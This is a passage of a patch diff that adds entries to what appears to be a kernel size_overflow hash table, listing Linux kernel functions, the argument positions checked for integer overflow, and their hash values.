++_001119_hash rsc_mgr_init 3 16299 _001119_hash NULL
++_001120_hash rxrpc_send_data 5 21553 _001120_hash NULL
++_001121_hash rxrpc_setsockopt 5 50286 _001121_hash NULL
++_001122_hash savu_sysfs_read 6 49473 _001122_hash NULL
++_001124_hash sco_send_frame 3 41815 _001124_hash NULL
++_001125_hash scsi_dispatch_cmd_entry 3 49848 _001125_hash NULL
++_001126_hash scsi_host_alloc 2 63041 _001126_hash NULL
++_001127_hash scsi_tgt_kspace_exec 8 9522 _001127_hash NULL
++_001128_hash sctp_sendmsg 4 61919 _001128_hash NULL
++_001129_hash sctp_setsockopt 5 44788 _001129_hash NULL
++_001130_hash sctp_setsockopt_connectx 3 6073 _001130_hash NULL
++_001131_hash sctp_setsockopt_connectx_old 3 22631 _001131_hash NULL
++_001132_hash sctp_tsnmap_grow 2 32784 _001132_hash NULL
++_001133_hash sctp_tsnmap_init 2 36446 _001133_hash NULL
++_001134_hash sctp_user_addto_chunk 2-3 62047 _001134_hash NULL
++_001136_hash security_context_to_sid 2 19839 _001136_hash NULL
++_001137_hash security_context_to_sid_default 2 3492 _003841_hash NULL nohasharray
++_001138_hash security_context_to_sid_force 2 20724 _001138_hash NULL
++_001139_hash self_check_write 5 50856 _001139_hash NULL
++_001140_hash selinux_transaction_write 3 59038 _001140_hash NULL
++_001141_hash sel_write_access 3 51704 _001141_hash NULL
++_001142_hash sel_write_create 3 11353 _001142_hash NULL
++_001143_hash sel_write_member 3 28800 _001143_hash NULL
++_001144_hash sel_write_relabel 3 55195 _001144_hash NULL
++_001145_hash sel_write_user 3 45060 _001145_hash NULL
++_001146_hash __seq_open_private 3 40715 _001146_hash NULL
++_001147_hash serverworks_create_gatt_pages 1 46582 _001147_hash NULL
++_001148_hash set_connectable 4 56458 _001148_hash NULL
++_001149_hash set_dev_class 4 39645 _001921_hash NULL nohasharray
++_001150_hash set_discoverable 4 48141 _001150_hash NULL
++_001151_hash set_fd_set 1 35249 _001151_hash NULL
++_001152_hash setkey 3 14987 _001152_hash NULL
++_001153_hash set_le 4 30581 _001153_hash NULL
++_001154_hash set_link_security 4 4502 _001154_hash NULL
++_001155_hash set_local_name 4 55757 _001155_hash NULL
++_001156_hash set_powered 4 12129 _001156_hash NULL
++_001157_hash set_ssp 4 62411 _001157_hash NULL
++_001158_hash sg_build_sgat 3 60179 _001158_hash &_000314_hash
++_001159_hash sg_read_oxfer 3 51724 _001159_hash NULL
++_001160_hash shmem_xattr_set 4 11843 _001160_hash NULL
++_001161_hash simple_alloc_urb 3 60420 _001161_hash NULL
++_001162_hash sisusb_send_bridge_packet 2 11649 _001162_hash NULL
++_001163_hash sisusb_send_packet 2 20891 _001163_hash NULL
++_001164_hash sisusb_write_mem_bulk 4 29678 _001164_hash NULL
++_001165_hash skb_add_data_nocache 4 4682 _001165_hash NULL
++_001166_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001166_hash NULL
++_001169_hash skb_copy_expand 2-3 7685 _001169_hash &_000677_hash
++_001171_hash skb_copy_to_page_nocache 6 58624 _001171_hash NULL
++_001172_hash __skb_cow 2 39254 _001172_hash NULL
++_001173_hash skb_cow_data 2 11565 _001173_hash NULL
++_001174_hash skb_pad 2 17302 _001174_hash NULL
++_001175_hash skb_realloc_headroom 2 19516 _001175_hash NULL
++_001176_hash sk_chk_filter 2 42095 _001176_hash NULL
++_001177_hash skcipher_sendmsg 4 30290 _001177_hash NULL
++_001178_hash sl_change_mtu 2 7396 _001178_hash NULL
++_001179_hash slhc_init 1-2 58135 _001179_hash &_000931_hash
++_001181_hash sm501_create_subdev 3-4 48668 _001245_hash NULL nohasharray
++_001183_hash smk_user_access 3 24440 _001183_hash NULL
++_001184_hash smk_write_cipso2 3 1021 _001184_hash NULL
++_001185_hash smk_write_cipso 3 17989 _001185_hash NULL
++_001186_hash smk_write_load2 3 52155 _001186_hash NULL
++_001187_hash smk_write_load 3 26829 _001187_hash NULL
++_001188_hash smk_write_load_self2 3 591 _001188_hash NULL
++_001189_hash smk_write_load_self 3 7958 _001189_hash NULL
++_001190_hash snapshot_write 3 28351 _001190_hash NULL
++_001191_hash snd_ac97_pcm_assign 2 30218 _001191_hash NULL
++_001192_hash snd_card_create 4 64418 _001529_hash NULL nohasharray
++_001193_hash snd_emux_create_port 3 42533 _001193_hash NULL
++_001194_hash snd_gus_dram_write 4 38784 _001194_hash NULL
++_001195_hash snd_midi_channel_alloc_set 1 28153 _001195_hash NULL
++_001196_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001196_hash NULL
++_001197_hash snd_pcm_oss_sync1 2 45298 _001197_hash NULL
++_001198_hash snd_pcm_oss_write 3 38108 _001198_hash NULL
++_001199_hash snd_pcm_plugin_build 5 25505 _001199_hash NULL
++_001200_hash snd_rawmidi_kernel_write 3 25106 _001200_hash NULL
++_001201_hash snd_rawmidi_write 3 28008 _001201_hash NULL
++_001202_hash snd_rme32_playback_copy 5 43732 _001202_hash NULL
++_001203_hash snd_rme96_playback_copy 5 13111 _001203_hash NULL
++_001204_hash snd_seq_device_new 4 31753 _001204_hash NULL
++_001205_hash snd_seq_oss_readq_new 2 14283 _001205_hash NULL
++_001206_hash snd_vx_create 4 40948 _001206_hash NULL
++_001207_hash sock_setsockopt 5 50088 _001207_hash NULL
++_001208_hash sound_write 3 5102 _001208_hash NULL
++_001209_hash _sp2d_alloc 1-3-2 16944 _001209_hash NULL
++_001212_hash spi_alloc_master 2 45223 _001212_hash NULL
++_001213_hash spidev_message 3 5518 _001213_hash NULL
++_001214_hash spi_register_board_info 2 35651 _001214_hash NULL
++_001215_hash squashfs_cache_init 2 41656 _001215_hash NULL
++_001216_hash squashfs_read_data 6 59440 _001216_hash NULL
++_001217_hash squashfs_read_fragment_index_table 4 2506 _001217_hash NULL
++_001218_hash squashfs_read_id_index_table 4 61961 _001218_hash NULL
++_001219_hash squashfs_read_inode_lookup_table 4 64739 _001219_hash NULL
++_001220_hash srp_alloc_iu 2 44227 _001220_hash NULL
++_001221_hash srp_iu_pool_alloc 2 17920 _001221_hash NULL
++_001222_hash srp_ring_alloc 2 26760 _001222_hash NULL
++_001226_hash start_isoc_chain 2 565 _001226_hash NULL
++_001227_hash st_write 3 16874 _001227_hash NULL
++_001228_hash svc_pool_map_alloc_arrays 2 47181 _001228_hash NULL
++_001229_hash symtab_init 2 61050 _001229_hash NULL
++_001230_hash sys_bind 3 10799 _001230_hash NULL
++_001231_hash sys_connect 3 15291 _003816_hash NULL nohasharray
++_001232_hash sys_flistxattr 3 41407 _001232_hash NULL
++_001233_hash sys_fsetxattr 4 49736 _001233_hash NULL
++_001234_hash sysfs_write_file 3 57116 _001234_hash NULL
++_001235_hash sys_ipc 3 4889 _001235_hash NULL
++_001236_hash sys_keyctl 4 33708 _001236_hash &_001011_hash
++_001237_hash sys_listxattr 3 27833 _001237_hash NULL
++_001238_hash sys_llistxattr 3 4532 _001238_hash NULL
++_001239_hash sys_lsetxattr 4 61177 _001239_hash NULL
++_001240_hash sys_mq_timedsend 3 57661 _001240_hash NULL
++_001241_hash sys_sched_setaffinity 2 32046 _001241_hash NULL
++_001242_hash sys_select 1 38827 _001242_hash NULL
++_001243_hash sys_semop 3 39457 _001243_hash NULL
++_001244_hash sys_sendto 6 20809 _001244_hash NULL
++_001245_hash sys_setgroups 1 48668 _001245_hash &_001181_hash
++_001246_hash sys_setgroups16 1 48882 _001246_hash NULL
++_001247_hash sys_setxattr 4 37880 _001247_hash NULL
++_001248_hash t4_alloc_mem 1 32342 _001248_hash NULL
++_001249_hash tcf_hash_create 4 54360 _001249_hash NULL
++_001250_hash tcp_send_rcvq 3 11316 _001250_hash NULL
++_001251_hash __team_options_register 3 63941 _001251_hash NULL
++_001252_hash test_unaligned_bulk 3 52333 _001252_hash NULL
++_001253_hash tifm_alloc_adapter 1 10903 _001253_hash NULL
++_001254_hash timeout_write 3 50991 _001254_hash NULL
++_001255_hash timeradd_entry 3 49850 _001255_hash NULL
++_001256_hash tipc_link_send_sections_fast 4 37920 _001256_hash NULL
++_001257_hash tipc_subseq_alloc 1 5957 _001257_hash NULL
++_001258_hash tnode_alloc 1 49407 _001258_hash NULL
++_001259_hash tomoyo_commit_ok 2 20167 _001259_hash NULL
++_001260_hash tomoyo_scan_bprm 2-4 15642 _003488_hash NULL nohasharray
++_001262_hash tps6586x_writes 3 58689 _001262_hash NULL
++_001263_hash tty_buffer_find 2 2443 _001263_hash NULL
++_001264_hash tty_write 3 5494 _001264_hash NULL
++_001265_hash ubifs_setxattr 4 59650 _001477_hash NULL nohasharray
++_001266_hash ubi_self_check_all_ff 4 41959 _001266_hash NULL
++_001267_hash udf_sb_alloc_partition_maps 2 62313 _001267_hash NULL
++_001268_hash udplite_getfrag 3-4 14479 _001268_hash NULL
++_001270_hash ulong_write_file 3 26485 _001270_hash NULL
++_001271_hash unix_stream_sendmsg 4 61455 _001271_hash NULL
++_001272_hash unlink_queued 3-4 645 _001272_hash NULL
++_001273_hash update_pmkid 4 2481 _001273_hash NULL
++_001274_hash usb_alloc_coherent 2 65444 _001274_hash NULL
++_001275_hash vc_resize 2-3 3585 _001275_hash NULL
++_001277_hash vhci_write 3 2224 _001277_hash NULL
++_001278_hash __vhost_add_used_n 3 26554 _001278_hash NULL
++_001279_hash virtqueue_add_buf 3-4 59470 _001279_hash NULL
++_001281_hash vmalloc 1 15464 _001281_hash NULL
++_001282_hash vol_cdev_write 3 40915 _001282_hash NULL
++_001283_hash vxge_device_register 4 7752 _001283_hash NULL
++_001284_hash __vxge_hw_blockpool_malloc 2 5786 _001284_hash NULL
++_001285_hash __vxge_hw_channel_allocate 3 55462 _001285_hash NULL
++_001286_hash vzalloc 1 47421 _001286_hash NULL
++_001287_hash vzalloc_node 1 23424 _001287_hash NULL
++_001288_hash wa_nep_queue 2 8858 _001288_hash NULL
++_001289_hash __wa_xfer_setup_segs 2 56725 _001289_hash NULL
++_001290_hash wiphy_new 2 2482 _001290_hash NULL
++_001291_hash wm8350_block_write 3 19727 _001291_hash NULL
++_001292_hash wpan_phy_alloc 1 48056 _001292_hash NULL
++_001293_hash write_flush_pipefs 3 2021 _001293_hash NULL
++_001294_hash write_flush_procfs 3 44011 _001294_hash NULL
++_001295_hash wusb_ccm_mac 7 32199 _001295_hash NULL
++_001296_hash x25_sendmsg 4 12487 _001296_hash NULL
++_001297_hash xfrm_hash_alloc 1 10997 _001297_hash NULL
++_001298_hash _xfs_buf_get_pages 2 46811 _001298_hash NULL
++_001299_hash xfs_da_grow_inode_int 3 21785 _001299_hash NULL
++_001300_hash xfs_dir_cilookup_result 3 64288 _003160_hash NULL nohasharray
++_001301_hash xfs_idata_realloc 2 26199 _001301_hash NULL
++_001302_hash xfs_iext_add_indirect_multi 3 32400 _001302_hash NULL
++_001303_hash xfs_iext_inline_to_direct 2 12384 _001303_hash NULL
++_001304_hash xfs_iformat_local 4 49472 _001304_hash NULL
++_001305_hash xfs_iroot_realloc 2 46826 _001305_hash NULL
++_001306_hash xhci_alloc_stream_info 3 63902 _001306_hash NULL
++_001307_hash xlog_recover_add_to_trans 4 62839 _001307_hash NULL
++_001308_hash xprt_alloc 2 1475 _001308_hash NULL
++_001309_hash xt_alloc_table_info 1 57903 _001309_hash NULL
++_001310_hash _zd_iowrite32v_async_locked 3 39034 _001310_hash NULL
++_001311_hash zd_usb_iowrite16v 3 49744 _001311_hash NULL
++_001312_hash a2mp_send 4 41615 _001312_hash NULL
++_001313_hash acpi_ds_build_internal_package_obj 3 58271 _001313_hash NULL
++_001314_hash acpi_system_read_event 3 55362 _001314_hash NULL
++_001315_hash acpi_ut_create_buffer_object 1 42030 _001315_hash NULL
++_001316_hash acpi_ut_create_package_object 1 17594 _001316_hash NULL
++_001317_hash acpi_ut_create_string_object 1 15360 _001317_hash NULL
++_001318_hash ad7879_spi_multi_read 3 8218 _001318_hash NULL
++_001319_hash add_child 4 45201 _001319_hash NULL
++_001320_hash add_port 2 54941 _001320_hash NULL
++_001321_hash adu_read 3 24177 _001321_hash NULL
++_001322_hash afs_cell_create 2 27346 _001322_hash NULL
++_001323_hash agp_allocate_memory 2 58761 _001323_hash NULL
++_001324_hash agp_generic_alloc_user 1 9470 _001324_hash NULL
++_001325_hash alc_auto_create_extra_outs 2 18975 _001325_hash NULL
++_001326_hash alloc_agpphysmem_i8xx 1 39427 _001326_hash NULL
++_001327_hash allocate_cnodes 1 5329 _001327_hash NULL
++_001328_hash ___alloc_bootmem 1 11410 _001328_hash NULL
++_001329_hash __alloc_bootmem_low_node 2 25726 _001662_hash NULL nohasharray
++_001330_hash __alloc_bootmem_node 2 1992 _001330_hash NULL
++_001331_hash __alloc_bootmem_node_nopanic 2 6432 _001331_hash NULL
++_001332_hash __alloc_bootmem_nopanic 1 65397 _001332_hash NULL
++_001333_hash alloc_candev 1-2 7776 _001333_hash NULL
++_001335_hash _alloc_cdb_cont 2 23609 _001335_hash NULL
++_001336_hash alloc_dummy_extent_buffer 2 56374 _001336_hash NULL
++_001337_hash ____alloc_ei_netdev 1 51475 _001337_hash NULL
++_001338_hash alloc_etherdev_mqs 1 36450 _001338_hash NULL
++_001339_hash alloc_extent_buffer 3 52824 _001339_hash NULL
++_001340_hash alloc_fcdev 1 18780 _001340_hash NULL
++_001341_hash alloc_fddidev 1 15382 _001341_hash NULL
++_001342_hash _alloc_get_attr_desc 2 470 _001342_hash NULL
++_001343_hash alloc_hippi_dev 1 51320 _001343_hash NULL
++_001344_hash alloc_irdadev 1 19140 _001344_hash NULL
++_001345_hash alloc_ldt 2 21972 _001345_hash NULL
++_001346_hash alloc_ltalkdev 1 38071 _001346_hash NULL
++_001347_hash alloc_one_pg_vec_page 1 10747 _001347_hash NULL
++_001348_hash alloc_orinocodev 1 21371 _001348_hash NULL
++_001349_hash alloc_ring 2-4 18278 _001349_hash NULL
++_001351_hash _alloc_set_attr_list 4 48991 _001351_hash NULL
++_001353_hash alloc_tx 2 32143 _001353_hash NULL
++_001354_hash alloc_wr 1-2 24635 _001354_hash NULL
++_001356_hash async_setkey 3 35521 _001356_hash NULL
++_001357_hash ata_host_alloc_pinfo 3 17325 _001357_hash NULL
++_001360_hash ath6kl_connect_event 7-9-8 14267 _001360_hash NULL
++_001361_hash ath6kl_fwlog_block_read 3 49836 _001361_hash NULL
++_001362_hash ath6kl_fwlog_read 3 32101 _001362_hash NULL
++_001363_hash ath9k_wmi_cmd 4 327 _001363_hash NULL
++_001364_hash ath_rx_init 2 43564 _001364_hash NULL
++_001365_hash ath_tx_init 2 60515 _001365_hash NULL
++_001366_hash atm_alloc_charge 2 19517 _001914_hash NULL nohasharray
++_001367_hash atm_get_addr 3 31221 _001367_hash NULL
++_001368_hash audit_log_n_hex 3 45617 _001368_hash NULL
++_001369_hash audit_log_n_string 3 31705 _001369_hash NULL
++_001370_hash ax25_output 2 22736 _001370_hash NULL
++_001371_hash bcsp_prepare_pkt 3 12961 _001371_hash NULL
++_001372_hash bdx_rxdb_create 1 46525 _001372_hash NULL
++_001373_hash bdx_tx_db_init 2 41719 _001373_hash NULL
++_001374_hash bio_map_kern 3 64751 _001374_hash NULL
++_001375_hash bits_to_user 2-3 47733 _001375_hash NULL
++_001377_hash __blk_queue_init_tags 2 9778 _001377_hash NULL
++_001378_hash blk_queue_resize_tags 2 28670 _001378_hash NULL
++_001379_hash blk_rq_map_user_iov 5 16772 _001379_hash NULL
++_001380_hash bm_init 2 13529 _001380_hash NULL
++_001381_hash brcmf_alloc_wdev 1 60347 _001381_hash NULL
++_001382_hash __btrfs_buffered_write 3 35311 _002735_hash NULL nohasharray
++_001383_hash btrfs_insert_dir_item 4 59304 _001383_hash NULL
++_001384_hash btrfs_map_block 3 64379 _001384_hash NULL
++_001385_hash bt_skb_alloc 1 6404 _001385_hash NULL
++_001386_hash c4_add_card 3 54968 _001386_hash NULL
++_001387_hash cache_read 3 24790 _001387_hash NULL
++_001388_hash cache_write 3 13589 _001388_hash NULL
++_001389_hash calc_hmac 3 32010 _001389_hash NULL
++_001390_hash capinc_tty_write 3 28539 _001390_hash NULL
++_001391_hash ccid_getsockopt_builtin_ccids 2 53634 _001391_hash NULL
++_001392_hash ceph_copy_page_vector_to_user 3-4 31270 _001392_hash NULL
++_001394_hash ceph_parse_server_name 2 60318 _001394_hash NULL
++_001395_hash ceph_read_dir 3 17005 _001395_hash NULL
++_001396_hash cfg80211_roamed 5-7 32632 _001396_hash NULL
++_001398_hash cfpkt_add_body 3 44630 _001398_hash NULL
++_001399_hash cfpkt_create_pfx 1-2 23594 _001399_hash NULL
++_001401_hash cmd_complete 6 51629 _001401_hash NULL
++_001402_hash cmtp_add_msgpart 4 9252 _001402_hash NULL
++_001403_hash cmtp_send_interopmsg 7 376 _001403_hash NULL
++_001404_hash coda_psdev_read 3 35029 _001404_hash NULL
++_001405_hash construct_key_and_link 4 8321 _001405_hash NULL
++_001406_hash copy_counters_to_user 5 17027 _001406_hash NULL
++_001407_hash copy_entries_to_user 1 52367 _001407_hash NULL
++_001408_hash copy_from_buf 2-4 27308 _001408_hash NULL
++_001410_hash copy_oldmem_page 3-1 26164 _001410_hash NULL
++_001411_hash copy_to_user_fromio 3 57432 _001411_hash NULL
++_001412_hash cryptd_hash_setkey 3 42781 _001412_hash NULL
++_001413_hash crypto_authenc_esn_setkey 3 6985 _001413_hash NULL
++_001414_hash crypto_authenc_setkey 3 80 _001414_hash NULL
++_001415_hash cxgb3_get_cpl_reply_skb 2 10620 _001415_hash NULL
++_001416_hash cxgbi_ddp_reserve 4 30091 _001416_hash NULL
++_001417_hash cxio_init_resource_fifo 3 28764 _001417_hash NULL
++_001418_hash cxio_init_resource_fifo_random 3 47151 _001418_hash NULL
++_001419_hash datablob_hmac_append 3 40038 _001419_hash NULL
++_001420_hash datablob_hmac_verify 4 24786 _001420_hash NULL
++_001421_hash dataflash_read_fact_otp 3-2 33204 _001421_hash NULL
++_001422_hash dataflash_read_user_otp 3-2 14536 _001422_hash &_000207_hash
++_001423_hash dccp_feat_register_sp 5 17914 _001423_hash NULL
++_001424_hash dccp_setsockopt 5 60367 _001424_hash NULL
++_001425_hash __dev_alloc_skb 1 28681 _001425_hash NULL
++_001426_hash disk_expand_part_tbl 2 30561 _001426_hash NULL
++_001427_hash diva_os_alloc_message_buffer 1 64568 _001427_hash NULL
++_001428_hash diva_os_copy_to_user 4 48508 _001428_hash NULL
++_001429_hash diva_os_malloc 2 16406 _001429_hash NULL
++_001430_hash dmam_declare_coherent_memory 4-2 43679 _001430_hash NULL
++_001431_hash dm_vcalloc 1-2 16814 _001431_hash NULL
++_001433_hash dn_alloc_skb 2 6631 _001433_hash NULL
++_001434_hash do_proc_readlink 3 14096 _001434_hash NULL
++_001435_hash do_readlink 2 43518 _001435_hash NULL
++_001436_hash __do_replace 5 37227 _001436_hash NULL
++_001437_hash do_sigpending 2 9766 _001437_hash NULL
++_001438_hash drbd_bm_resize 2 20522 _001438_hash NULL
++_001439_hash drbd_setsockopt 5 16280 _001439_hash &_000383_hash
++_001440_hash dump_midi 3 51040 _001440_hash NULL
++_001441_hash ecryptfs_filldir 3 6622 _001441_hash NULL
++_001442_hash ecryptfs_send_message 2 18322 _001442_hash NULL
++_001443_hash ep0_read 3 38095 _001443_hash NULL
++_001444_hash evdev_ioctl 2 22371 _001444_hash NULL
++_001445_hash ext4_add_new_descs 3 19509 _001445_hash NULL
++_001446_hash fat_ioctl_filldir 3 36621 _001446_hash NULL
++_001447_hash _fc_frame_alloc 1 43568 _001447_hash NULL
++_001448_hash fc_host_post_vendor_event 3 30903 _001448_hash NULL
++_001449_hash fd_copyout 3 59323 _001449_hash NULL
++_001450_hash f_hidg_read 3 6238 _001450_hash NULL
++_001451_hash filldir 3 55137 _001451_hash NULL
++_001452_hash filldir64 3 46469 _001452_hash NULL
++_001453_hash find_skb 2 20431 _001453_hash NULL
++_001454_hash from_buffer 3 18625 _001454_hash NULL
++_001455_hash fsm_init 2 16134 _001455_hash NULL
++_001456_hash fs_path_add 3 15648 _001456_hash NULL
++_001457_hash fs_path_add_from_extent_buffer 4 27702 _001457_hash NULL
++_001458_hash fuse_perform_write 4 18457 _001458_hash NULL
++_001459_hash gem_alloc_skb 2 51715 _001459_hash NULL
++_001460_hash generic_file_buffered_write 4 25464 _001460_hash NULL
++_001461_hash gen_pool_add 3 21776 _001461_hash NULL
++_001462_hash get_packet 3 41914 _001462_hash NULL
++_001463_hash get_packet 3 5747 _001463_hash NULL
++_001464_hash get_packet_pg 4 28023 _001464_hash NULL
++_001465_hash get_skb 2 63008 _001465_hash NULL
++_001466_hash get_subdir 3 62581 _001466_hash NULL
++_001467_hash gsm_control_message 4 18209 _001467_hash NULL
++_001468_hash gsm_control_modem 3 55303 _001468_hash NULL
++_001469_hash gsm_control_rls 3 3353 _001469_hash NULL
++_001470_hash handle_received_packet 3 22457 _001470_hash NULL
++_001471_hash hash_setkey 3 48310 _001471_hash NULL
++_001472_hash hdlcdrv_register 2 6792 _001472_hash NULL
++_001473_hash hiddev_ioctl 2 36816 _001473_hash NULL
++_001474_hash hid_input_report 4 32458 _001474_hash NULL
++_001475_hash hidp_queue_report 3 1881 _001475_hash NULL
++_001476_hash __hidp_send_ctrl_message 4 28303 _001476_hash NULL
++_001477_hash hidraw_read 3 59650 _001477_hash &_001265_hash
++_001478_hash HiSax_readstatus 2 15752 _001478_hash NULL
++_001480_hash __hwahc_op_set_gtk 4 42038 _001480_hash NULL
++_001481_hash __hwahc_op_set_ptk 5 36510 _001481_hash NULL
++_001482_hash hycapi_rx_capipkt 3 11602 _001482_hash NULL
++_001483_hash i2400m_net_rx 5 27170 _001483_hash NULL
++_001484_hash ib_copy_to_udata 3 27525 _001484_hash NULL
++_001485_hash idetape_chrdev_read 3 2097 _001485_hash NULL
++_001486_hash ieee80211_alloc_hw 1 43829 _001486_hash NULL
++_001487_hash ieee80211_bss_info_update 4 13991 _001487_hash NULL
++_001488_hash igmpv3_newpack 2 35912 _001488_hash NULL
++_001489_hash ilo_read 3 32531 _001489_hash NULL
++_001490_hash init_map_ipmac 3-4 63896 _001490_hash NULL
++_001492_hash init_tid_tabs 2-4-3 13252 _001492_hash NULL
++_001495_hash iowarrior_read 3 53483 _001495_hash NULL
++_001496_hash ip_options_get 4 56538 _001496_hash NULL
++_001497_hash ipv6_getsockopt_sticky 5 56711 _001497_hash NULL
++_001498_hash ipwireless_send_packet 4 8328 _001498_hash NULL
++_001499_hash ipx_sendmsg 4 1362 _001499_hash NULL
++_001500_hash irq_domain_add_linear 2 29236 _001500_hash NULL
++_001501_hash iscsi_conn_setup 2 35159 _001501_hash NULL
++_001502_hash iscsi_create_session 3 51647 _001502_hash NULL
++_001503_hash iscsi_host_alloc 2 36671 _001503_hash NULL
++_001504_hash iscsi_if_send_reply 7 52219 _001504_hash NULL
++_001505_hash iscsi_offload_mesg 5 58425 _001505_hash NULL
++_001506_hash iscsi_ping_comp_event 5 38263 _001506_hash NULL
++_001507_hash iscsi_post_host_event 4 13473 _001507_hash NULL
++_001508_hash iscsi_recv_pdu 4 16755 _001508_hash NULL
++_001509_hash iscsi_session_setup 4-5 196 _001509_hash NULL
++_001511_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _003122_hash NULL nohasharray
++_001512_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _001951_hash NULL nohasharray
++_001513_hash isdn_ppp_ccp_xmit_reset 6 63297 _001513_hash NULL
++_001514_hash isdn_ppp_read 4 50356 _001514_hash NULL
++_001515_hash isdn_ppp_skb_push 2 5236 _001515_hash NULL
++_001516_hash isku_sysfs_read 6 58806 _001516_hash NULL
++_001517_hash isku_sysfs_write 6 49767 _001517_hash NULL
++_001520_hash jbd2_alloc 1 41359 _001520_hash NULL
++_001521_hash jffs2_do_link 6 42048 _001521_hash NULL
++_001522_hash jffs2_do_unlink 4 62020 _001522_hash NULL
++_001523_hash jffs2_security_setxattr 4 62107 _001523_hash NULL
++_001524_hash jffs2_trusted_setxattr 4 17048 _001524_hash NULL
++_001525_hash jffs2_user_setxattr 4 10182 _001525_hash NULL
++_001526_hash joydev_ioctl_common 2 49359 _001526_hash NULL
++_001527_hash kernel_setsockopt 5 35913 _001527_hash NULL
++_001528_hash keyctl_describe_key 3 36853 _001528_hash NULL
++_001529_hash keyctl_get_security 3 64418 _001529_hash &_001192_hash
++_001530_hash keyring_read 3 13438 _001530_hash NULL
++_001531_hash kfifo_copy_to_user 3 20646 _001531_hash NULL
++_001532_hash kmem_zalloc_large 1 56128 _001532_hash NULL
++_001533_hash kmp_init 2 41373 _001533_hash NULL
++_001534_hash koneplus_sysfs_write 6 35993 _001534_hash NULL
++_001535_hash kvm_clear_guest_page 4 2308 _001535_hash NULL
++_001536_hash kvm_read_nested_guest_page 5 13337 _001536_hash NULL
++_001537_hash _l2_alloc_skb 1 11883 _001537_hash NULL
++_001538_hash l2cap_create_basic_pdu 3 24869 _001538_hash &_001074_hash
++_001539_hash l2cap_create_connless_pdu 3 37327 _001539_hash NULL
++_001540_hash l2cap_create_iframe_pdu 3 40055 _001540_hash NULL
++_001541_hash l3_alloc_skb 1 32289 _001541_hash NULL
++_001542_hash __lgwrite 4 57669 _001542_hash NULL
++_001543_hash libfc_host_alloc 2 7917 _001543_hash NULL
++_001544_hash llc_alloc_frame 4 64366 _001544_hash NULL
++_001545_hash llcp_sock_sendmsg 4 1092 _001545_hash NULL
++_001546_hash mac_drv_rx_init 2 48898 _001546_hash NULL
++_001547_hash macvtap_get_user 4 28185 _001547_hash NULL
++_001548_hash mdc800_device_read 3 22896 _001548_hash NULL
++_001549_hash memcpy_toiovec 3 54166 _001549_hash &_000892_hash
++_001550_hash memcpy_toiovecend 3-4 19736 _001550_hash NULL
++_001552_hash mempool_create 1 29437 _001552_hash NULL
++_001553_hash mgmt_event 4 12810 _001553_hash NULL
++_001554_hash mgt_set_varlen 4 60916 _001554_hash NULL
++_001555_hash mI_alloc_skb 1 24770 _001555_hash NULL
++_001556_hash mlx4_en_create_rx_ring 3 62498 _001556_hash NULL
++_001557_hash mlx4_en_create_tx_ring 4 48501 _001557_hash NULL
++_001558_hash mlx4_init_cmpt_table 3 11569 _001558_hash NULL
++_001559_hash mon_bin_get_event 4 52863 _001559_hash NULL
++_001560_hash mousedev_read 3 47123 _001560_hash NULL
++_001561_hash move_addr_to_user 2 2868 _001561_hash NULL
++_001562_hash mpihelp_mul 5-3 27805 _001562_hash NULL
++_001564_hash mpi_set_buffer 3 65294 _001564_hash NULL
++_001565_hash mptctl_ioctl 2 12355 _001565_hash NULL
++_001566_hash msnd_fifo_alloc 2 23179 _001566_hash NULL
++_001567_hash mtdswap_init 2 55719 _001567_hash NULL
++_001568_hash mthca_alloc_resize_buf 3 60394 _001568_hash NULL
++_001569_hash mthca_init_cq 2 60011 _001569_hash NULL
++_001570_hash nci_skb_alloc 2 49757 _001570_hash NULL
++_001571_hash neigh_hash_grow 2 17283 _001571_hash NULL
++_001572_hash netdev_alloc_skb 2 62437 _001572_hash NULL
++_001573_hash __netdev_alloc_skb_ip_align 2 55067 _001573_hash NULL
++_001574_hash netlink_change_ngroups 2 16457 _001574_hash NULL
++_001575_hash new_skb 1 21148 _001575_hash NULL
++_001576_hash nfc_alloc_recv_skb 1 10244 _001576_hash NULL
++_001577_hash nfcwilink_skb_alloc 1 16167 _001577_hash NULL
++_001578_hash __nf_nat_mangle_tcp_packet 5-7 8190 _001578_hash NULL
++_001580_hash nf_nat_mangle_udp_packet 5-7 13321 _001580_hash NULL
++_001582_hash nfqnl_mangle 4-2 36226 _001582_hash NULL
++_001583_hash nfs4_realloc_slot_table 2 22859 _001583_hash NULL
++_001584_hash nfs_idmap_get_key 2 39616 _001584_hash NULL
++_001585_hash nfs_readdata_alloc 2 65015 _001585_hash NULL
++_001586_hash nfs_writedata_alloc 2 12133 _001586_hash NULL
++_001587_hash nfulnl_alloc_skb 2 65207 _001587_hash NULL
++_001588_hash ni65_alloc_mem 3 10664 _001588_hash NULL
++_001589_hash nsm_get_handle 4 52089 _001589_hash NULL
++_001590_hash ntfs_malloc_nofs 1 49572 _001590_hash NULL
++_001591_hash ntfs_malloc_nofs_nofail 1 63631 _001591_hash NULL
++_001592_hash nvme_create_queue 3 170 _001592_hash NULL
++_001593_hash ocfs2_control_write 3 54737 _001593_hash NULL
++_001595_hash orinoco_add_extscan_result 3 18207 _001595_hash NULL
++_001596_hash osd_req_read_sg_kern 5 6378 _001596_hash NULL
++_001597_hash osd_req_write_sg_kern 5 10514 _001597_hash NULL
++_001599_hash override_release 2 52032 _001599_hash NULL
++_001600_hash p9_client_read 5 19750 _001600_hash NULL
++_001601_hash packet_snd 3 13634 _001601_hash NULL
++_001602_hash pcbit_stat 2 27364 _001602_hash NULL
++_001603_hash pcpu_extend_area_map 2 12589 _001603_hash NULL
++_001604_hash pep_alloc_skb 3 46303 _001604_hash NULL
++_001605_hash pg_read 3 17276 _001605_hash NULL
++_001606_hash picolcd_debug_eeprom_read 3 14549 _001606_hash NULL
++_001607_hash pkt_alloc_packet_data 1 37928 _001607_hash NULL
++_001608_hash pmcraid_build_passthrough_ioadls 2 62034 _001608_hash NULL
++_001609_hash pn_raw_send 2 54330 _001609_hash NULL
++_001610_hash posix_clock_register 2 5662 _001610_hash NULL
++_001611_hash printer_read 3 54851 _001611_hash NULL
++_001612_hash __proc_file_read 3 54978 _001612_hash NULL
++_001613_hash pskb_may_pull 2 22546 _001613_hash NULL
++_001614_hash __pskb_pull 2 42602 _001614_hash NULL
++_001615_hash ptp_read 4 63251 _001615_hash NULL
++_001616_hash pt_read 3 49136 _001616_hash NULL
++_001617_hash put_cmsg 4 36589 _001617_hash NULL
